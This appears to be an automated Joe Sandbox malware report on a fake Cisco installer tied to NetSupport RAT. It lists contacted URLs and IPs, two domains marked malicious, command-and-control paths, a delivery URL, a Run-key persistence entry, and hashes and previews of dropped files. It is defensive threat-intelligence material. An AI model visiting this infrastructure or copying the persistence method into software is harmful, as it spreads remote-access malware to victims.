http://geo.netsupportsoftware.com/location/loca.aspPi	client32.exe, 00000007.00000003.1987647210.000000000051A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4141461447.000000000053D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.1989580496.000000000051E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.immunet.com.	CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
https://www.cisco.com/update	CiscoSetup.exe, 00000000.00000003.2094322756.0000000000EE1000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000003.2087307462.00000000029D1000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1	client32.exe, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	false		unknown
http://geo.netsupportsoftware.com/location/loca.aspA5	client32.exe, 00000007.00000003.1987647210.000000000051A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4141461447.000000000053D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.1989580496.000000000051E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.immunet.comAby	CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.symauth.com/cps0(	powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://www.symauth.com/rpa00	powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iminunet.com	CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp, is-1V30U.tmp.1.dr	false		unknown
https://www.immunet.com	is-C1171.tmp.1.dr	false		unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.1991259471.0000000005677000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.cisco.com0	is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	false		unknown
http://relaxng.org/ns/structure/1.0	is-O6HT8.tmp.1.dr, is-FRTV6.tmp.1.dr	false		unknown
https://www.cisco.com/support	CiscoSetup.exe, 00000000.00000003.2094322756.0000000000EE1000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000003.2087307462.00000000029D1000.00000004.00001000.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.68.212	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false
151.236.16.15	payiki.com	European Union	29802	HVC-ASUS	true
199.188.200.195	anyhowdo.com	United States	22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546659
Start date and time:	2024-11-01 12:10:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CiscoSetup.exe
Detection:	MAL
Classification:	mal54.rans.troj.evad.winEXE@10/537@3/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 69% Number of executed functions: 182 Number of non-executed functions: 196
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6724 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: CiscoSetup.exe

Simulations

Behavior and APIs

Time	Type	Description
07:11:29	API Interceptor	23x Sleep call for process: powershell.exe modified
07:12:04	API Interceptor	14473663x Sleep call for process: client32.exe modified
11:11:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MyApp C:\Users\user\AppData\Roaming\Cisco\client32.exe
11:11:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MyApp C:\Users\user\AppData\Roaming\Cisco\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.68.212	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	8hN4C25a0O.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	FakturaPDF.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	JbZaDxFXF3.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
151.236.16.15	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	http://151.236.16.15/fakeurl.htm
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	http://151.236.16.15/fakeurl.htm
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	http://151.236.16.15/fakeurl.htm
199.188.200.195	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	http://199.188.200.195/fakeurl.htm
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	http://199.188.200.195/fakeurl.htm
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	http://199.188.200.195/fakeurl.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
payiki.com	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	151.236.16.15
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	151.236.16.15
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	151.236.16.15
geo.netsupportsoftware.com	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.1.231
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.1.231
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	file.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	104.26.0.231
	https://inspyrehomedesign.com	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	file.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
anyhowdo.com	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	199.188.200.195
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	199.188.200.195
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	199.188.200.195

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAMECHEAP-NETUS	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	199.188.200.195
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	199.188.200.195
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	199.188.200.195
	https://saniest.com/PO/PO%20-%20OCT.'24673937.rar	Get hash	malicious	Unknown	Browse	162.0.232.202
	#U2749Factura_#U2749_#U2462#U2465#U2460#U2463#U2463#U2460#U2462#U2461.hta	Get hash	malicious	Unknown	Browse	68.65.122.45
	#U2749Factura_#U2749_#U2466#U2461#U2466#U2462#U2467#U2465#U2465#U2465.hta	Get hash	malicious	Unknown	Browse	68.65.122.45
	672365339196e.vbs	Get hash	malicious	Unknown	Browse	68.65.122.45
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
HVC-ASUS	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	151.236.16.15
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	151.236.16.15
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	151.236.16.15
	PO-33463334788.exe	Get hash	malicious	Remcos, GuLoader	Browse	23.227.202.197
	IGNM2810202400017701_270620240801_546001.vbs	Get hash	malicious	GuLoader	Browse	66.206.22.19
	https://www-suasconsult-com-br.translate.goog/?_x_tr_sl=pt&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc	Get hash	malicious	Unknown	Browse	69.46.1.10
	nklarm7.elf	Get hash	malicious	Unknown	Browse	23.227.187.69
	splmips.elf	Get hash	malicious	Unknown	Browse	172.110.9.223
	jklppc.elf	Get hash	malicious	Unknown	Browse	149.255.39.213
	kkkmips.elf	Get hash	malicious	Unknown	Browse	104.156.53.55
CLOUDFLARENETUS	Alvise Maria CV 1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	Action Desk Support 01 Nov.msg	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.cognitoforms.com/f/wAh1CzXrnEmEifrmJ4OEgg/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.24.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.194
	kill.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://edgeupgrade.com	Get hash	malicious	Unknown	Browse	104.22.48.74
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pcapp.store/pixel.gif	Get hash	malicious	Unknown	Browse	172.67.15.14
	draft contract for order #782334.exe	Get hash	malicious	FormBook	Browse	172.67.131.32

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\is-AB2VI.tmp	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	SecureClientInstaller.exe	Get hash	malicious	NetSupport RAT	Browse
	SecureClientInstaller.exe	Get hash	malicious	NetSupport RAT	Browse
C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe (copy)	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	SecureClientInstaller.exe	Get hash	malicious	NetSupport RAT	Browse
	SecureClientInstaller.exe	Get hash	malicious	NetSupport RAT	Browse

Created / dropped Files

C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\is-AB2VI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4467816
Entropy (8bit):	6.598146073323608
Encrypted:	false
SSDEEP:	98304:+QCnFew3oMj8NiqvOE41lDJO2Gi3VjGClUjtbnaC:+TeOLECDJrpVSZbL
MD5:	03615EEF106C5E54C5279B05A9686B9A
SHA1:	621C9AB49367298751EAAB0E0A29575327041729
SHA-256:	7B6826DD31DB6E559BBF873DE756292B22B910F319C6C4B09D7A62A5312A4AC3
SHA-512:	BFB2ADE2B66B7CCD3E1CB9FCFAD2AF8D35BD12E063ECC1D388958C5A66776CC865CDD25B72B3786011C388C9A3FF730DAF5F97D58923829DA9DBC76AD393FCE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: SecureClientInstaller.exe, Detection: malicious, Browse Filename: SecureClientInstaller.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........d..............n.......n..q....jf......p.......p.......p.......n.......l...............p..Q....n..........p...\|p..s...\|pd.............\|p......Rich....................PE..L......d..................)...................)...@..........................`D......YD...@...................................8.T.....:.X.............C.hH... B..6..0.6.T.....................6.......6.@.............)..............................text.....).......)................. ..`.rdata..fd....)..f....).............@..@.data.........9.......8.............@....rsrc...X.....:.. ....9.............@..@.reloc...6... B..8....A.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4467816
Entropy (8bit):	6.598146073323608
Encrypted:	false
SSDEEP:	98304:+QCnFew3oMj8NiqvOE41lDJO2Gi3VjGClUjtbnaC:+TeOLECDJrpVSZbL
MD5:	03615EEF106C5E54C5279B05A9686B9A
SHA1:	621C9AB49367298751EAAB0E0A29575327041729
SHA-256:	7B6826DD31DB6E559BBF873DE756292B22B910F319C6C4B09D7A62A5312A4AC3
SHA-512:	BFB2ADE2B66B7CCD3E1CB9FCFAD2AF8D35BD12E063ECC1D388958C5A66776CC865CDD25B72B3786011C388C9A3FF730DAF5F97D58923829DA9DBC76AD393FCE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: SecureClientInstaller.exe, Detection: malicious, Browse Filename: SecureClientInstaller.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........d..............n.......n..q....jf......p.......p.......p.......n.......l...............p..Q....n..........p...\|p..s...\|pd.............\|p......Rich....................PE..L......d..................)...................)...@..........................`D......YD...@...................................8.T.....:.X.............C.hH... B..6..0.6.T.....................6.......6.@.............)..............................text.....).......)................. ..`.rdata..fd....)..f....).............@..@.data.........9.......8.............@....rsrc...X.....:.. ....9.............@..@.reloc...6... B..8....A.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	562280
Entropy (8bit):	5.250676972668652
Encrypted:	false
SSDEEP:	12288:E51t8uFDD2edf0sC3Yeba96ga8nXNBZeph17:O12uR2ec3Yijg/dB4ph17
MD5:	A942F7085CF6E0584943727A7B804342
SHA1:	C79F5A2946400942F75BB6D05A853D4018ED7419
SHA-256:	AB1ABBFB3F0AD6A0E16F8FC94F485C67A8AB002A5C05549CF676E4D701E26FF0
SHA-512:	69D42640785AA0B4FABBADD894A92643B4D32BC6FB404B0CCC0B056D8413ABD3684D81BED43D10CED24620BF26A749B4F87A557916F987501986DCA9980C0F44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.Dz=.)=.)=.)).)(6.))./(..))..(/.)o..(,.)o.)(,.)o./(..)..+(9.)).+(6.)=.+)..)..#(8.)...)<.)=..)<.)..((<.)Rich=.*)................PE..L......d.....................P......0 ....... ....@.......................................@............................................x............L..hH..............T...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc...............8..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper64.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1134696
Entropy (8bit):	5.98101366214949
Encrypted:	false
SSDEEP:	12288:8h0jAkQkbL6TwyIHQ6KkuD/wNo9beiC3Yeba96ga8nXNBZy:8hAA7kbL6TwyIHQZ/wNf3Yijg/dBU
MD5:	5E20E06C6F8A52DF2A20F24BF8E7ED28
SHA1:	F43253FC29F72A6792A49F8499C8547328CB3060
SHA-256:	B2628E6B3620070511BC7BFD7EC75BF30F194D69560DC4925A2CB208EBFF8EA5
SHA-512:	06733AA3684278AD1E00F0F7070BED46698422104AA89E3563154A6477186F0DC34B4C6598B101941AB9C34055891CA1A697B8F233156953D09A184291018CBD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#...g..Yg..Yg..Ys..Xl..Ys..Xt..Ys..X...Y5..Xv..Y5..Xm..Y5..X5..Ys..Xl..Yg..Y...Y...Xk..Y...Yf..Yg.nYf..Y...Xf..YRichg..Y........PE..d......d.........."..........P.......^.........@.............................p............`................................................. ...x............0..03......hH...0...5..(...T.......................(.......8............................................text...\|........................... ..`.rdata..............................@..@.data....1..........................@....pdata..03...0...4..................@..@_RDATA.......p......................@..@.rsrc................0..............@..@.reloc...5...0...6..................@..B........................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Component\acsock64.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	297
Entropy (8bit):	4.260838473974518
Encrypted:	false
SSDEEP:	6:3FHGzEGBX2WemHRSaiHaXQ0GshjQUoWyvNHiRCIrSa7V:1HTGBGXmHgak2uEiWygRgiV
MD5:	05BADC48F12BCC4CBF5B463321943D98
SHA1:	071138B7F1FFB97147891BA5A59C3C3B69FE4BD2
SHA-256:	9158CA8F1ECE84B45A80B9D43409A528B7D0493F38916A030876D70767C13630
SHA-512:	C1A0F2077676C37AD4B1AD5EAF4AB86BC9C516C82AD515B9A7E7A2A90D70080B2BC7CCC5E37C60F6C2D6A19775769AA8F610A91AFC1EE9F6358F941CF87976AD
Malicious:	false
Preview:	{.. "component" : [.. {.. "architecture" : "x86_64",.. "display_name" : "AnyConnect Kernel Driver Framework",.. "id" : "com.cisco.anyconnect.kdf",.. "platform" : "windows",.. "type" : "component",.. "version" : "5.0.04021".. }.. ]..}..

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Component\is-I38LK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	297
Entropy (8bit):	4.260838473974518
Encrypted:	false
SSDEEP:	6:3FHGzEGBX2WemHRSaiHaXQ0GshjQUoWyvNHiRCIrSa7V:1HTGBGXmHgak2uEiWygRgiV
MD5:	05BADC48F12BCC4CBF5B463321943D98
SHA1:	071138B7F1FFB97147891BA5A59C3C3B69FE4BD2
SHA-256:	9158CA8F1ECE84B45A80B9D43409A528B7D0493F38916A030876D70767C13630
SHA-512:	C1A0F2077676C37AD4B1AD5EAF4AB86BC9C516C82AD515B9A7E7A2A90D70080B2BC7CCC5E37C60F6C2D6A19775769AA8F610A91AFC1EE9F6358F941CF87976AD
Malicious:	false
Preview:	{.. "component" : [.. {.. "architecture" : "x86_64",.. "display_name" : "AnyConnect Kernel Driver Framework",.. "id" : "com.cisco.anyconnect.kdf",.. "platform" : "windows",.. "type" : "component",.. "version" : "5.0.04021".. }.. ]..}..

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Dependency\is-4FJ8H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	1375
Entropy (8bit):	3.276910195764313
Encrypted:	false
SSDEEP:	24:1HTGBAZ6x2XA7h/xmv2uEi+Yx7E36x2XAiB/xmv2uEi+Yx78vUsPRmOV6V:BRAj02uEi+hAO02uEi+zhZmOo
MD5:	565E42342B7C2AF14F371A39589C1B67
SHA1:	DAB8871D9D3C5E565D40437FF366D944C1E51661
SHA-256:	13DDFA583A7C4A29EF617887C77AA4E3DA998F52F76D91E83C57B2D38192F555
SHA-512:	8F21388EA0BCD76ECCA88DEA5ED7292E64A0CC7BBA285272B02942D868E92ECB701D9ECBE2C172A87AF06FB16EA5DD2513075792ECB3556DC09C08A8CB4B7FD5
Malicious:	false
Preview:	{.. "component" : [.. {.. "dependencies" : [.. {.. "condition" : [.. {.. "architecture" : "x86".. },.. {.. "platform" : "windows".. }.. ],.. "display_name" : "AnyConnect Kernel Driver Framework",.. "id" : "com.cisco.anyconnect.kdf",.. "require" : [.. {.. "version" : "5.0.04021".. }.. ],.. "type" : "component".. },.. {.. "condition" : [.. {.. "architecture" : "x86_64".. },.. {.. "platform" : "windows".. }.. ],.. "display_name" : "AnyConnect Kernel Driver Framework",.. "id" : "com.cisco.anyconnect.kdf",.. "requ

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Dependency\vpn_manifest.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	1375
Entropy (8bit):	3.276910195764313
Encrypted:	false
SSDEEP:	24:1HTGBAZ6x2XA7h/xmv2uEi+Yx7E36x2XAiB/xmv2uEi+Yx78vUsPRmOV6V:BRAj02uEi+hAO02uEi+zhZmOo
MD5:	565E42342B7C2AF14F371A39589C1B67
SHA1:	DAB8871D9D3C5E565D40437FF366D944C1E51661
SHA-256:	13DDFA583A7C4A29EF617887C77AA4E3DA998F52F76D91E83C57B2D38192F555
SHA-512:	8F21388EA0BCD76ECCA88DEA5ED7292E64A0CC7BBA285272B02942D868E92ECB701D9ECBE2C172A87AF06FB16EA5DD2513075792ECB3556DC09C08A8CB4B7FD5
Malicious:	false
Preview:	{.. "component" : [.. {.. "dependencies" : [.. {.. "condition" : [.. {.. "architecture" : "x86".. },.. {.. "platform" : "windows".. }.. ],.. "display_name" : "AnyConnect Kernel Driver Framework",.. "id" : "com.cisco.anyconnect.kdf",.. "require" : [.. {.. "version" : "5.0.04021".. }.. ],.. "type" : "component".. },.. {.. "condition" : [.. {.. "architecture" : "x86_64".. },.. {.. "platform" : "windows".. }.. ],.. "display_name" : "AnyConnect Kernel Driver Framework",.. "id" : "com.cisco.anyconnect.kdf",.. "requ

C:\Program Files (x86)\Cisco\Cisco Secure Client\OpenSource.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	556
Entropy (8bit):	4.645067217480077
Encrypted:	false
SSDEEP:	12:VKYMF1IXH5EkqfXMF1ITOLKvXwCPijecTygdLe3f8ytWHtO+PGb:iF1a6AF1owBlPkNtWNa
MD5:	A54C8C0CFD88CFE16115DCFF322A637A
SHA1:	DFD99A331FE511542CEE60731DE1F603AB11C3AD
SHA-256:	50695A74F95C74DE1888A94F9BB0DC19E0237500DDD2352D56E4A17F30324AF5
SHA-512:	BDB7E36EBE6F0A9A1F2662C89B4F253A7F354C7A5F2596EE3C52247CA25AF9A6F14B75D432B68DFACFB3611533A0E88648D5F7F3E72099AAFCA4BFA833029AAD
Malicious:	false
Preview:	<html>.. <head>.. <title>Open Source Used In Cisco AnyConnect Secure Mobility Client</title>.. </head>.. <body>.. <h1>Open Source Used In Cisco AnyConnect Secure Mobility Client</h1>.. <br/>.. <h3>Please refer to <a href="https://www.cisco.com/go/opensource">Open Source in Cisco Products</a> for the latest information on the open source used in Cisco AnyConnect Secure Mobility Client.</h3>.. <br/>.. <p><font size="2">©2023 Cisco Systems, Inc. All rights reserved.</font></p>.. </body>..</html>

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\acdownloader.dll (copy)

Download File

